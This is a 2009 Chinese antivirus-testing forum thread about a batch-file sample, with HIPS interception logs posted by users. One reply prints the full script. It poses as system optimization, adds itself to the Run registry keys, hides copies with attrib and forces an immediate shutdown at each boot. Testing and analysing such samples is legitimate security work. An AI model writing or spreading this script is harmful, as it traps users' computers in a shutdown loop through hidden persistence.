【过全部杀软】过微点，测试EQ魔法盾拦截

风花雪月

EQ魔法盾 4.11增强版

规则：（大将军安静规则+清爽规则）最新

是一个批处理，运行之后电脑会自动关闭（系统被破坏）（硬盘可能会被格式化）

大家谨慎测试..

【纯HIPS会都拦截的】不需要测试了 【毕竟使用HIPS的用户是少数的】

大家测试测试杀毒软件好吗~


【已经上报多家反病毒公司了】

http://www.virustotal.com/zh-cn/analisis/e2c7b5f29c2487728ded38b57067a50ad79da0da9b076aa5e43e41fc49119a50-1253524316

[ 本帖最后由 风花雪月 于 2009-9-21 20:06 编辑 ]

winxp0286

红伞MISS

wmcxdb

2009/9/21 17:28:36    创建文件    阻止
进程: c:\windows\system32\cmd.exe
目标: C:\Windows\help.bat

2009/9/21 17:28:36    创建新进程    阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\reg.exe
命令行: reg  add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v help /t reg_sz /d C:\Windows\help.bat /f

2009/9/21 17:28:36    创建新进程    阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\attrib.exe
命令行: attrib  +s +a +r +h C:\Windows\help.bat

风花雪月

原帖由 wmcxdb 于 2009-9-21 17:31 发表
2009/9/21 17:28:36    创建文件    阻止
进程: c:\windows\system32\cmd.exe
目标: C:\Windows\help.bat

2009/9/21 17:28:36    创建新进程    阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\sy ...

说过了EQ拦截（纯HIPS）应该都会拦截！！！

[ 本帖最后由 风花雪月 于 2009-9-21 17:37 编辑 ]

白羊座

明显是MD
批处理不入库不可能有杀软报，杀软主防可能会报
微点不是不能报是不敢报

[ 本帖最后由 白羊座 于 2009-9-21 17:37 编辑 ]

wmcxdb

2009/9/21 17:31:43    创建文件    允许
进程: c:\windows\system32\cmd.exe
目标: C:\Windows\help.bat

2009/9/21 17:31:43    读文件    允许
进程: c:\windows\system32\cmd.exe
目标: C:\Windows\help.bat

2009/9/21 17:31:43    创建新进程    阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\reg.exe
命令行: reg  add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v help /t reg_sz /d C:\Windows\help.bat /f

2009/9/21 17:31:43    读文件    允许
进程: c:\windows\system32\cmd.exe
目标: C:\Windows\help.bat


2009/9/21 17:31:43    创建文件    阻止
进程: c:\windows\system32\cmd.exe
目标: C:\Windows\system32\help.bat


2009/9/21 17:31:43    读文件    允许
进程: c:\windows\system32\cmd.exe
目标: C:\Windows\help.bat

2009/9/21 17:31:43    创建文件    阻止
进程: c:\windows\system32\cmd.exe
目标: C:\Windows\system\help.bat

2009/9/21 17:31:43    创建新进程    阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\attrib.exe
命令行: attrib  +s +a +r +h C:\Windows\help.bat

2009/9/21 17:31:43    创建新进程    阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\cmd.exe
命令行: C:\Windows\system32\cmd.exe  /K C:\Windows\help.bat

风花雪月

大家测试杀毒软件好吗？ 纯HIPS都会拦截的

白羊座

纯破坏样本要么绑定downloader，要么社会工程学传播，其实没啥意思
@echo off
title 请勿擅自打开!
@echo 请勿擅自打开!
@echo 正在优化系统~
@echo @echo off >%windir%\help.bat >nul
@echo attrib +s +a +r +h  %windir%\system\help.bat >>%windir%\help.bat >nul
@echo attrib +s +a +r +h  %windir%\system32\help.bat >>%windir%\help.bat >nul
@echo shutdown -s -f -t 0 >>%windir%\help.bat
@reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v help /t reg_sz /d %windir%\help.bat /f
@reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v help1 /t reg_sz /d %windir%\system32\help.bat /f
@reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v help /t reg_sz /d %windir%\help.bat /f
copy %windir%\help.bat %windir%\system32\help.bat >nul
copy %windir%\help.bat %windir%\system\help.bat >nul
attrib +s +a +r +h %windir%\help.bat
attrib +s +a +r +h %windir%\system\help.bat
attrib +s +a +r +h %windir%\system32\help.bat
start %windir%\help.bat

愣没看出，居然看不出怎么破坏系统，哪来的格盘……看来我out了

[ 本帖最后由 白羊座 于 2009-9-21 17:44 编辑 ]

风花雪月

原帖由 白羊座 于 2009-9-21 17:40 发表
纯破坏样本要么绑定downloader，要么社会工程学传播，其实没啥意思
@echo off
title 请勿擅自打开!
@echo 请勿擅自打开!
@echo 正在优化系统~
@echo @echo off >%windir%\help.bat >nul
@echo attrib +s ...

这就引发传统杀毒软件的一个漏洞啊。呵呵~

证明HIPS软件的可行性！

白羊座

晕，靠这个推广HIPS必无前途
组策略就能解决这个问题
就是连续关机，没破坏性，玩笑脚本，都不能算病毒